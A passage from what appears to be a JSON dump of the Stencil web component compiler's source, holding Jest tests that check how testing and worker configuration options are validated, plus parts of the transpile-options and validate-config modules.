mockLoadConfigInit());\n\n      expect(config.testing.screenshotConnector).toBe(join(ROOT, 'User', 'some', 'path', 'mock', 'path'));\n    });\n\n    it('sets screenshotConnector if a non-string is provided', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      // the nature of this test is to evaluate a non-string, hence the type assertion\n      userConfig.testing = { screenshotConnector: true as unknown as string };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.screenshotConnector).toBe(join('screenshot', 'local-connector.js'));\n    });\n  });\n\n  describe('screenshotTimeout', () => {\n    it('sets screenshotTimeout to null if not provided', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {};\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.testing.screenshotTimeout).toEqual(null);\n    });\n\n    it('sets screenshotTimeout to null if it has an unexpected value', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      // @ts-expect-error - the nature of this test requires a non-string value\n      userConfig.testing = { screenshotTimeout: '4s' };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.testing.screenshotTimeout).toEqual(null);\n    });\n\n    it('keeps the value if set correctly', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = { screenshotTimeout: 4000 };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.testing.screenshotTimeout).toEqual(4000);\n    });\n  });\n\n  describe('testPathIgnorePatterns', () => {\n    it('does not alter a provided testPathIgnorePatterns', () => {\n      userConfig.flags = { ...flags, e2e: true };\n\n      // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n      // tests are run on) for their input\n      const mockPath1 = path.join('this', 'is', 'a', 'mock', 'path');\n      const mockPath2 = path.join('this', 'is', 'another', 'mock', 'path');\n      userConfig.testing = { testPathIgnorePatterns: [mockPath1, mockPath2] };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.testPathIgnorePatterns).toEqual([mockPath1, mockPath2]);\n    });\n\n    it('sets the default testPathIgnorePatterns if no array is provided', () => {\n      userConfig.flags = { ...flags, e2e: true };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.testPathIgnorePatterns).toEqual([\n        join(ROOT, 'User', 'some', 'path', '.vscode'),\n        join(ROOT, 'User', 'some', 'path', '.stencil'),\n        join(ROOT, 'User', 'some', 'path', 'node_modules'),\n        // use Node's join() here as the normalization process doesn't necessarily occur for this field\n        path.join(ROOT, 'www'),\n      ]);\n    });\n\n    it('sets the default testPathIgnorePatterns with custom outputTargets', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.outputTargets = [\n        { type: 'dist', dir: 'dist-folder' },\n        { type: 'www', dir: 'www-folder' },\n        { type: 'docs-readme', dir: 'docs' },\n      ];\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.testPathIgnorePatterns).toEqual([\n        join(ROOT, 'User', 'some', 'path', '.vscode'),\n        join(ROOT, 'User', 'some', 'path', '.stencil'),\n        join(ROOT, 'User', 'some', 'path', 'node_modules'),\n        join(ROOT, 'User', 'some', 'path', 'www-folder'),\n        join(ROOT, 'User', 'some', 'path', 'dist-folder'),\n      ]);\n    });\n  });\n\n  describe('preset', () => {\n    it.each([null, true])(\"uses stencil's default preset if a non-string (%s) is provided\", (nonStringPreset) => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        // the nature of this test requires a non-string value, hence the type assertion\n        preset: nonStringPreset as unknown as string,\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      // 'testing' is the internal directory where `jest-preset.js` can be found\n      expect(config.testing.preset).toEqual('testing');\n    });\n\n    it('forces a provided preset path to be absolute', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n        // tests are run on) for their input\n        preset: path.join('mock', 'path'),\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.preset).toEqual(join(ROOT, 'User', 'some', 'path', 'mock', 'path'));\n    });\n\n    it('does not change an already absolute preset path', () => {\n      userConfig.flags = { ...flags, e2e: true };\n\n      // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these\n      // tests are run on) for their input\n      const presetPath = path.join(ROOT, 'mock', 'path');\n      userConfig.testing = {\n        preset: presetPath,\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      // per the test name, we should not change an already absolute path - assert against the preset path that was\n      // generated using Node's join()\n      expect(config.testing.preset).toEqual(presetPath);\n    });\n  });\n\n  describe('setupFilesAfterEnv', () => {\n    it.each([null, true])('forces a non-array (%s) of setup files to a default', (nonSetupFiles) => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        // the nature of this test requires a non-string value, hence the type assertion\n        setupFilesAfterEnv: nonSetupFiles as unknown as string[],\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      // 'testing' is the internal directory where the default setup file can be found\n      expect(config.testing.setupFilesAfterEnv).toEqual([join('testing', 'jest-setuptestframework.js')]);\n    });\n\n    it.each([[[]], [['mock-setup-file.js']]])(\n      \"prepends stencil's default file to an array: %s\",\n      (setupFilesAfterEnv) => {\n        userConfig.flags = { ...flags, e2e: true };\n        userConfig.testing = {\n          setupFilesAfterEnv: [...setupFilesAfterEnv],\n        };\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n        expect(config.testing.setupFilesAfterEnv).toEqual([\n          // 'testing' is the internal directory where the default setup file can be found\n          join('testing', 'jest-setuptestframework.js'),\n          ...setupFilesAfterEnv,\n        ]);\n      },\n    );\n  });\n\n  describe('testEnvironment', () => {\n    it('sets a relative testEnvironment to absolute', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        testEnvironment: './rel-path.js',\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(path.isAbsolute(config.testing.testEnvironment)).toBe(true);\n      expect(path.basename(config.testing.testEnvironment)).toEqual('rel-path.js');\n    });\n\n    it('allows a node module testEnvironment', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        testEnvironment: 'jsdom',\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.testEnvironment).toEqual('jsdom');\n    });\n\n    it('does nothing for an empty testEnvironment', () => {\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.testing.testEnvironment).toBeUndefined();\n    });\n  });\n\n  describe('allowableMismatchedPixels', () => {\n    it.each([0, 123])('does nothing is a non-negative number (%s) is provided', (pixelCount) => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        allowableMismatchedPixels: pixelCount,\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.allowableMismatchedPixels).toBe(pixelCount);\n    });\n\n    it('creates an error if a negative number is provided', () => {\n      const pixelCount = -1;\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        allowableMismatchedPixels: pixelCount,\n      };\n\n      const { config, diagnostics } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.allowableMismatchedPixels).toBe(pixelCount);\n      expect(diagnostics).toHaveLength(1);\n      expect(diagnostics[0]).toEqual({\n        absFilePath: undefined,\n        header: 'Build Error',\n        level: 'error',\n        lines: [],\n        messageText: 'allowableMismatchedPixels must be a value that is 0 or greater',\n        relFilePath: undefined,\n        type: 'build',\n      });\n    });\n\n    it.each([true, null])('defaults to a reasonable value if a non-number (%s) is provided', (pixelCount) => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        // the nature of this test requires using a non-number, hence th type assertion\n        allowableMismatchedPixels: pixelCount as unknown as number,\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.allowableMismatchedPixels).toBe(100);\n    });\n  });\n\n  describe('allowableMismatchedRatio', () => {\n    it.each([-0, 0, 0.5, 1.0])(\n      'does nothing if a value between 0 and 1 is provided (%s)',\n      (allowableMismatchedRatio) => {\n        userConfig.flags = { ...flags, e2e: true };\n        userConfig.testing = {\n          allowableMismatchedRatio,\n        };\n\n        const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n        expect(config.testing.allowableMismatchedRatio).toBe(allowableMismatchedRatio);\n      },\n    );\n\n    it.each([-1, -0.1, 1.1, 2])(\n      'creates an error if a number outside 0 and 1 is provided (%s)',\n      (allowableMismatchedRatio) => {\n        userConfig.flags = { ...flags, e2e: true };\n        userConfig.testing = {\n          allowableMismatchedRatio,\n        };\n\n        const { config, diagnostics } = validateConfig(userConfig, mockLoadConfigInit());\n\n        expect(config.testing.allowableMismatchedRatio).toBe(allowableMismatchedRatio);\n        expect(diagnostics).toHaveLength(1);\n        expect(diagnostics[0]).toEqual({\n          absFilePath: undefined,\n          header: 'Build Error',\n          level: 'error',\n          lines: [],\n          messageText: 'allowableMismatchedRatio must be a value ranging from 0 to 1',\n          relFilePath: undefined,\n          type: 'build',\n        });\n      },\n    );\n\n    it.each([true, null])('does nothing when a non-number (%s) is provided', (allowableMismatchedRatio) => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        // the nature of this test requires using a non-number, hence th type assertion\n        allowableMismatchedRatio: allowableMismatchedRatio as unknown as number,\n      };\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      expect(config.testing.allowableMismatchedRatio).toBe(allowableMismatchedRatio);\n    });\n  });\n\n  describe('pixelmatchThreshold', () => {\n    it.each([-0, 0, 0.5, 1.0])('does nothing if a value between 0 and 1 is provided (%s)', (pixelmatchThreshold) => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        pixelmatchThreshold,\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.pixelmatchThreshold).toBe(pixelmatchThreshold);\n    });\n\n    it.each([-0.1, -1, 1.1, 2])(\n      'creates an error if a number outside 0 and 1 is provided (%s)',\n      (pixelmatchThreshold) => {\n        userConfig.flags = { ...flags, e2e: true };\n        userConfig.testing = {\n          pixelmatchThreshold,\n        };\n\n        const { config, diagnostics } = validateConfig(userConfig, mockLoadConfigInit());\n\n        expect(config.testing.pixelmatchThreshold).toBe(pixelmatchThreshold);\n        expect(diagnostics).toHaveLength(1);\n        expect(diagnostics[0]).toEqual({\n          absFilePath: undefined,\n          header: 'Build Error',\n          level: 'error',\n          lines: [],\n          messageText: 'pixelmatchThreshold must be a value ranging from 0 to 1',\n          relFilePath: undefined,\n          type: 'build',\n        });\n      },\n    );\n\n    it.each([true, null])('defaults to a reasonable value if a non-number (%s) is provided', (pixelmatchThreshold) => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        // the nature of this test requires using a non-number, hence th type assertion\n        pixelmatchThreshold: pixelmatchThreshold as unknown as number,\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.allowableMismatchedPixels).toBe(100);\n    });\n  });\n\n  describe('testRegex', () => {\n    let testRegex: RegExp;\n\n    beforeEach(() => {\n      userConfig.flags = { ...flags, spec: true };\n\n      const { testing: testConfig } = validateConfig(userConfig, mockLoadConfigInit()).config;\n      const testRegexSetting = testConfig?.testRegex;\n\n      if (!testRegexSetting) {\n        throw new Error('No testRegex was found in the Stencil TestingConfig. Failing test.');\n      }\n\n      testRegex = new RegExp(testRegexSetting[0]);\n    });\n\n    describe('test.* extensions', () => {\n      it.each([\n        'my-component.test.ts',\n        'my-component.test.tsx',\n        'my-component.test.js',\n        'my-component.test.jsx',\n        'some/path/test.ts',\n        'some/path/test.tsx',\n        'some/path/test.js',\n        'some/path/test.jsx',\n      ])(`matches the file '%s'`, (filename) => {\n        expect(testRegex.test(filename)).toBe(true);\n      });\n\n      it.each([\n        'my-component.test.ts.snap',\n        'my-component.test.tsx.snap',\n        'my-component.test.js.snap',\n        'my-component.test.jsx.snap',\n        'my-component-test.ts',\n        'my-component-test.tsx',\n        'my-component-test.js',\n        'my-component-test.jsx',\n        'my-component.test.t',\n        'my-component.test.j',\n      ])(`doesn't match the file '%s'`, (filename) => {\n        expect(testRegex.test(filename)).toBe(false);\n      });\n    });\n\n    describe('spec.* extensions', () => {\n      it.each([\n        'my-component.spec.ts',\n        'my-component.spec.tsx',\n        'my-component.spec.js',\n        'my-component.spec.jsx',\n        'some/path/spec.ts',\n        'some/path/spec.tsx',\n        'some/path/spec.js',\n        'some/path/spec.jsx',\n      ])(`matches the file '%s'`, (filename) => {\n        expect(testRegex.test(filename)).toBe(true);\n      });\n\n      it.each([\n        'my-component.spec.ts.snap',\n        'my-component.spec.tsx.snap',\n        'my-component.spec.js.snap',\n        'my-component.spec.jsx.snap',\n        'my-component-spec.ts',\n        'my-component-spec.tsx',\n        'my-component-spec.js',\n        'my-component-spec.jsx',\n        'my-component.spec.t',\n        'my-component.spec.j',\n      ])(`doesn't match the file '%s'`, (filename) => {\n        expect(testRegex.test(filename)).toBe(false);\n      });\n    });\n\n    describe('e2e.* extensions', () => {\n      it.each([\n        'my-component.e2e.ts',\n        'my-component.e2e.tsx',\n        'my-component.e2e.js',\n        'my-component.e2e.jsx',\n        'some/path/e2e.ts',\n        'some/path/e2e.tsx',\n        'some/path/e2e.js',\n        'some/path/e2e.jsx',\n      ])(`matches the file '%s'`, (filename) => {\n        expect(testRegex.test(filename)).toBe(true);\n      });\n\n      it.each([\n        'my-component.e2e.ts.snap',\n        'my-component.e2e.tsx.snap',\n        'my-component.e2e.js.snap',\n        'my-component.e2e.jsx.snap',\n        'my-component-e2e.ts',\n        'my-component-e2e.tsx',\n        'my-component-e2e.js',\n        'my-component-e2e.jsx',\n        'my-component.e2e.t',\n        'my-component.e2e.j',\n      ])(`doesn't match the file '%s'`, (filename) => {\n        expect(testRegex.test(filename)).toBe(false);\n      });\n    });\n  });\n\n  describe('testMatch', () => {\n    it('removes testRegex from the config when testMatch is an array', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        testMatch: ['mockMatcher'],\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.testMatch).toEqual(['mockMatcher']);\n      expect(config.testing.testRegex).toBeUndefined();\n    });\n\n    it('removes testMatch from the config when testRegex is a string', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        testMatch: undefined,\n        testRegex: ['/regexStr/'],\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.testMatch).toBeUndefined();\n      expect(config.testing.testRegex).toEqual(['/regexStr/']);\n    });\n\n    it('transforms testRegex to an array if passed in as string', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        testMatch: undefined,\n        // @ts-expect-error invalid type because of type update\n        testRegex: '/regexStr/',\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.testMatch).toBeUndefined();\n      expect(config.testing.testRegex).toEqual(['/regexStr/']);\n    });\n  });\n\n  describe('runner', () => {\n    it('does nothing if the runner property is a string', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        runner: 'my-runner.js',\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.runner).toEqual('my-runner.js');\n    });\n\n    it('sets the runner if a non-string value is provided', () => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        runner: undefined,\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      // 'testing' is the internal directory where the default runner file can be found\n      expect(config.testing.runner).toEqual(join('testing', 'jest-runner.js'));\n    });\n  });\n\n  describe('waitBeforeScreenshot', () => {\n    it.each([-0, 0, 0.5, 1.0])('does nothing for a non-negative value (%s)', (waitBeforeScreenshot) => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        waitBeforeScreenshot,\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.waitBeforeScreenshot).toBe(waitBeforeScreenshot);\n    });\n\n    it('creates an error if the value provided is negative', () => {\n      const waitBeforeScreenshot = -1;\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        waitBeforeScreenshot,\n      };\n\n      const { config, diagnostics } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.waitBeforeScreenshot).toBe(waitBeforeScreenshot);\n      expect(diagnostics).toHaveLength(1);\n      expect(diagnostics[0]).toEqual({\n        absFilePath: undefined,\n        header: 'Build Error',\n        level: 'error',\n        lines: [],\n        messageText: 'waitBeforeScreenshot must be a value that is 0 or greater',\n        relFilePath: undefined,\n        type: 'build',\n      });\n    });\n\n    it.each([true, null])('defaults to a reasonable value if a non-number (%s) is provided', (waitBeforeScreenshot) => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        // the nature of this test requires using a non-number, hence the type assertion\n        pixelmatchThreshold: waitBeforeScreenshot as unknown as number,\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.waitBeforeScreenshot).toBe(10);\n    });\n  });\n\n  describe('emulate', () => {\n    it.each([[undefined], [[]]])('provides a reasonable default for %s', (emulate) => {\n      userConfig.flags = { ...flags, e2e: true };\n      userConfig.testing = {\n        emulate,\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.emulate).toEqual([\n        {\n          userAgent: 'default',\n          viewport: {\n            width: 600,\n            height: 600,\n            deviceScaleFactor: 1,\n            isMobile: false,\n            hasTouch: false,\n            isLandscape: false,\n          },\n        },\n      ]);\n    });\n\n    it('does nothing when a non-zero length array is provided', () => {\n      userConfig.flags = { ...flags, e2e: true };\n\n      const emulateConfig: d.EmulateConfig = {\n        userAgent: 'mockAgent',\n        viewport: {\n          width: 100,\n          height: 100,\n          deviceScaleFactor: 1,\n          isMobile: true,\n          hasTouch: true,\n          isLandscape: false,\n        },\n      };\n      userConfig.testing = {\n        emulate: [emulateConfig],\n      };\n\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n\n      expect(config.testing.emulate).toEqual([emulateConfig]);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/test/validate-workers.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockLoadConfigInit, mockLogger } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { createConfigFlags } from '../../../cli/config-flags';\nimport { validateConfig } from '../validate-config';\n\ndescribe('validate-workers', () => {\n  let userConfig: d.Config;\n  const logger = mockLogger();\n\n  beforeEach(() => {\n    userConfig = {\n      sys: {\n        path: path,\n      } as any,\n      logger: logger,\n      rootDir: '/',\n      namespace: 'Testing',\n    };\n  });\n\n  it('set maxConcurrentWorkers, but dont let it go under 0', () => {\n    userConfig.maxConcurrentWorkers = -1;\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.maxConcurrentWorkers).toBe(0);\n  });\n\n  it('set maxConcurrentWorkers from ci flags', () => {\n    userConfig.flags = createConfigFlags({\n      ci: true,\n    });\n    userConfig.maxConcurrentWorkers = 2;\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.maxConcurrentWorkers).toBe(4);\n  });\n\n  it('set maxConcurrentWorkers from flags', () => {\n    userConfig.flags = createConfigFlags({\n      maxWorkers: 1,\n    });\n    userConfig.maxConcurrentWorkers = 4;\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.maxConcurrentWorkers).toBe(1);\n  });\n\n  it('set maxConcurrentWorkers', () => {\n    userConfig.maxConcurrentWorkers = 4;\n    const { config } = validateConfig(userConfig, mockLoadConfigInit());\n    expect(config.maxConcurrentWorkers).toBe(4);\n  });\n});\n"
  },
  {
    "path": "src/compiler/config/transpile-options.ts",
    "content": "import { isString } from '@utils';\nimport type { CompilerOptions } from 'typescript';\n\nimport type {\n  CompilerSystem,\n  Config,\n  ImportData,\n  TransformCssToEsmInput,\n  TransformOptions,\n  TranspileOptions,\n  TranspileResults,\n} from '../../declarations';\nimport { STENCIL_INTERNAL_CLIENT_ID } from '../bundle/entry-alias-ids';\nimport { parseImportPath } from '../transformers/stencil-import-path';\n\nexport const getTranspileResults = (code: string, input: TranspileOptions) => {\n  if (!isString(input.file)) {\n    input.file = 'module.tsx';\n  }\n  const parsedImport = parseImportPath(input.file);\n\n  const results: TranspileResults = {\n    code: typeof code === 'string' ? code : '',\n    data: [],\n    diagnostics: [],\n    inputFileExtension: parsedImport.ext,\n    inputFilePath: input.file,\n    imports: [],\n    map: null,\n    outputFilePath: null,\n  };\n\n  return {\n    importData: parsedImport.data,\n    results,\n  };\n};\n\nconst transpileCtx = { sys: null as CompilerSystem };\n\n/**\n * Configuration necessary for transpilation\n */\ninterface TranspileConfig {\n  compileOpts: TranspileOptions;\n  config: Config;\n  transformOpts: TransformOptions;\n}\n\n/**\n * Get configuration necessary to carry out transpilation, including a Stencil\n * configuration, transformation options, and transpilation options.\n *\n * @param input options for Stencil's transpiler (string-to-string compiler)\n * @returns the options and configuration necessary for transpilation\n */\nexport const getTranspileConfig = (input: TranspileOptions): TranspileConfig => {\n  if (input.sys) {\n    transpileCtx.sys = input.sys;\n  } else if (!transpileCtx.sys) {\n    transpileCtx.sys = require('../sys/node/index.js').createNodeSys();\n  }\n\n  const compileOpts: TranspileOptions = {\n    componentExport: getTranspileConfigOpt(input.componentExport, VALID_EXPORT, 'customelement'),\n    componentMetadata: getTranspileConfigOpt(input.componentMetadata, VALID_METADATA, null),\n    coreImportPath: isString(input.coreImportPath) ? input.coreImportPath : STENCIL_INTERNAL_CLIENT_ID,\n    currentDirectory: isString(input.currentDirectory)\n      ? input.currentDirectory\n      : transpileCtx.sys.getCurrentDirectory(),\n    file: input.file,\n    proxy: getTranspileConfigOpt(input.proxy, VALID_PROXY, 'defineproperty'),\n    module: getTranspileConfigOpt(input.module, VALID_MODULE, 'esm'),\n    sourceMap: input.sourceMap === 'inline' ? 'inline' : input.sourceMap !== false,\n    style: getTranspileConfigOpt(input.style, VALID_STYLE, 'static'),\n    styleImportData: getTranspileConfigOpt(input.styleImportData, VALID_STYLE_IMPORT_DATA, 'queryparams'),\n    target: getTranspileConfigOpt(input.target, VALID_TARGET, 'latest'),\n  };\n\n  const tsCompilerOptions: CompilerOptions = {\n    // ensure we uses legacy decorators\n    experimentalDecorators: true,\n\n    // best we always set this to true\n    allowSyntheticDefaultImports: true,\n\n    // best we always set this to true\n    esModuleInterop: true,\n\n    // always get source maps\n    sourceMap: compileOpts.sourceMap !== false,\n\n    // isolated per file transpiling\n    isolatedModules: true,\n\n    // transpileModule does not write anything to disk so there is no need to verify that there are no conflicts between input and output paths.\n    suppressOutputPathCheck: true,\n\n    // Filename can be non-ts file.\n    allowNonTsExtensions: true,\n\n    // We are not returning a sourceFile for lib file when asked by the program,\n    // so pass --noLib to avoid reporting a file not found error.\n    noLib: true,\n\n    noResolve: true,\n\n    // NOTE: \"module\" and \"target\" configs will be set later\n    // after the \"ts\" object has been loaded\n  };\n\n  if (isString(input.baseUrl)) {\n    compileOpts.baseUrl = input.baseUrl;\n    tsCompilerOptions.baseUrl = compileOpts.baseUrl;\n  }\n\n  if (input.paths) {\n    compileOpts.paths = { ...input.paths };\n    tsCompilerOptions.paths = { ...compileOpts.paths };\n  }\n\n  if (input.jsx !== undefined) {\n    tsCompilerOptions.jsx = input.jsx;\n  }\n\n  if (isString(input.jsxImportSource)) {\n    tsCompilerOptions.jsxImportSource = input.jsxImportSource;\n  }\n\n  const transformOpts: TransformOptions = {\n    coreImportPath: compileOpts.coreImportPath,\n    componentExport: compileOpts.componentExport as any,\n    componentMetadata: compileOpts.componentMetadata as any,\n    currentDirectory: compileOpts.currentDirectory,\n    isolatedModules: true,\n    module: compileOpts.module as any,\n    proxy: compileOpts.proxy as any,\n    file: compileOpts.file,\n    style: compileOpts.style as any,\n    styleImportData: compileOpts.styleImportData as any,\n    target: compileOpts.target as any,\n  };\n\n  const config: Config = {\n    _isTesting: true,\n    devMode: true,\n    enableCache: false,\n    minifyCss: true,\n    minifyJs: false,\n    rootDir: compileOpts.currentDirectory,\n    srcDir: compileOpts.currentDirectory,\n    sys: transpileCtx.sys,\n    transformAliasedImportPaths: input.transformAliasedImportPaths,\n    tsCompilerOptions,\n    validateTypes: false,\n  };\n\n  return {\n    compileOpts,\n    config,\n    transformOpts,\n  };\n};\n\nexport const getTranspileCssConfig = (\n  compileOpts: TranspileOptions,\n  importData: ImportData,\n  results: TranspileResults,\n) => {\n  const transformInput: TransformCssToEsmInput = {\n    file: results.inputFilePath,\n    input: results.code,\n    tag: importData && importData.tag,\n    tags: [...(compileOpts.tagsToTransform || importData?.tag)],\n    addTagTransformers: compileOpts && compileOpts.additionalTagTransformers === true,\n    encapsulation: importData && importData.encapsulation,\n    mode: importData && importData.mode,\n    sourceMap: compileOpts.sourceMap !== false,\n    minify: false,\n    autoprefixer: false,\n    module: compileOpts.module,\n    styleImportData: compileOpts.styleImportData,\n  };\n  return transformInput;\n};\n\nconst getTranspileConfigOpt = (value: any, validValues: Set<string>, defaultValue: string) => {\n  if (value === null || value === 'null') {\n    return null;\n  }\n  value = isString(value) ? value.toLowerCase().trim() : null;\n  if (validValues.has(value)) {\n    return value;\n  }\n  return defaultValue;\n};\n\nconst VALID_EXPORT = new Set(['customelement', 'module']);\nconst VALID_METADATA = new Set(['compilerstatic', null]);\nconst VALID_MODULE = new Set(['cjs', 'esm']);\nconst VALID_PROXY = new Set(['defineproperty', null]);\nconst VALID_STYLE = new Set(['static']);\nconst VALID_STYLE_IMPORT_DATA = new Set(['queryparams']);\nconst VALID_TARGET = new Set(['latest', 'esnext', 'es2020', 'es2019', 'es2018', 'es2017', 'es2016', 'es2015', 'es5']);\n"
  },
  {
    "path": "src/compiler/config/validate-config.ts",
    "content": "import { createNodeLogger, createNodeSys } from '@sys-api-node';\nimport { buildError, buildWarn, isBoolean, isNumber, isString, sortBy } from '@utils';\n\nimport {\n  ConfigBundle,\n  ConfigExtras,\n  Diagnostic,\n  LoadConfigInit,\n  LogLevel,\n  UnvalidatedConfig,\n  ValidatedConfig,\n} from '../../declarations';\nimport { setBooleanConfig } from './config-utils';\nimport {\n  DEFAULT_DEV_MODE,\n  DEFAULT_HASHED_FILENAME_LENGTH,\n  MAX_HASHED_FILENAME_LENGTH,\n  MIN_HASHED_FILENAME_LENGTH,\n} from './constants';\nimport { validateOutputTargets } from './outputs';\nimport { validateDevServer } from './validate-dev-server';\nimport { validateDocs } from './validate-docs';\nimport { validateHydrated } from './validate-hydrated';\nimport { validateDistNamespace } from './validate-namespace';\nimport { validateNamespace } from './validate-namespace';\nimport { validatePaths } from './validate-paths';\nimport { validatePlugins } from './validate-plugins';\nimport { validateRollupConfig } from './validate-rollup-config';\nimport { validateTesting } from './validate-testing';\nimport { validateWorkers } from './validate-workers';\n\n/**\n * Represents the results of validating a previously unvalidated configuration\n */\ntype ConfigValidationResults = {\n  /**\n   * The validated configuration, with well-known default values set if they weren't previously provided\n   */\n  config: ValidatedConfig;\n  /**\n   * A collection of errors and warnings that occurred during the configuration validation process\n   */\n  diagnostics: Diagnostic[];\n};\n\n/**\n * We never really want to re-run validation for a Stencil configuration.\n * Besides the cost of doing so, our validation pipeline is unfortunately not\n * idempotent, so we want to have a guarantee that even if we call\n * {@link validateConfig} in a few places that the same configuration object\n * won't be passed through multiple times. So we cache the result of our work\n * here.\n */\nlet CACHED_VALIDATED_CONFIG: ValidatedConfig | null = null;\n\n/**\n * Validate a Config object, ensuring that all its field are present and\n * consistent with our expectations. This function transforms an\n * {@link UnvalidatedConfig} to a {@link ValidatedConfig}.\n *\n * **NOTE**: this function _may_ return a previously-cached configuration\n * object. It will do so if the cached object is `===` to the one passed in.\n *\n * @param userConfig an unvalidated config that we've gotten from a user\n * @param bootstrapConfig the initial configuration provided by the user (or\n * generated by Stencil) used to bootstrap configuration loading and validation\n * @returns an object with config and diagnostics props\n */\nexport const validateConfig = (\n  userConfig: UnvalidatedConfig = {},\n  bootstrapConfig: LoadConfigInit,\n): ConfigValidationResults => {\n  const diagnostics: Diagnostic[] = [];\n\n  if (CACHED_VALIDATED_CONFIG !== null && CACHED_VALIDATED_CONFIG === userConfig) {\n    // We've previously done the work to validate a Stencil config. Since our\n    // overall validation pipeline is unfortunately not idempotent we do not\n    // want to simply validate again. Leaving aside the performance\n    // implications of needlessly repeating the validation, we don't want to do\n    // certain operations multiple times.\n    //\n    // For the sake of correctness we check both that the cache is not null and\n    // that it's the same object as the one passed in.\n    return {\n      config: userConfig as ValidatedConfig,\n      diagnostics,\n    };\n  }\n\n  const config = Object.assign({}, userConfig);\n\n  const logger = bootstrapConfig.logger || config.logger || createNodeLogger();\n\n  // flags _should_ be JSON safe here\n  //\n  // we access `'flags'` on validated config to avoid having to introduce an\n  // import of the CLI module\n  const flags: ValidatedConfig['flags'] = JSON.parse(JSON.stringify(config.flags || {}));\n\n  // default level is 'info'\n  let logLevel: LogLevel = 'info';\n  if (flags.debug || flags.verbose) {\n    logLevel = 'debug';\n  } else if (flags.logLevel) {\n    logLevel = flags.logLevel;\n  }\n\n  logger.setLevel(logLevel);\n\n  let devMode = config.devMode ?? DEFAULT_DEV_MODE;\n  if (flags.prod) {\n    devMode = false;\n  } else if (flags.dev) {\n    devMode = true;\n  } else if (!isBoolean(config.devMode)) {\n    devMode = DEFAULT_DEV_MODE;\n  }\n\n  const hashFileNames = 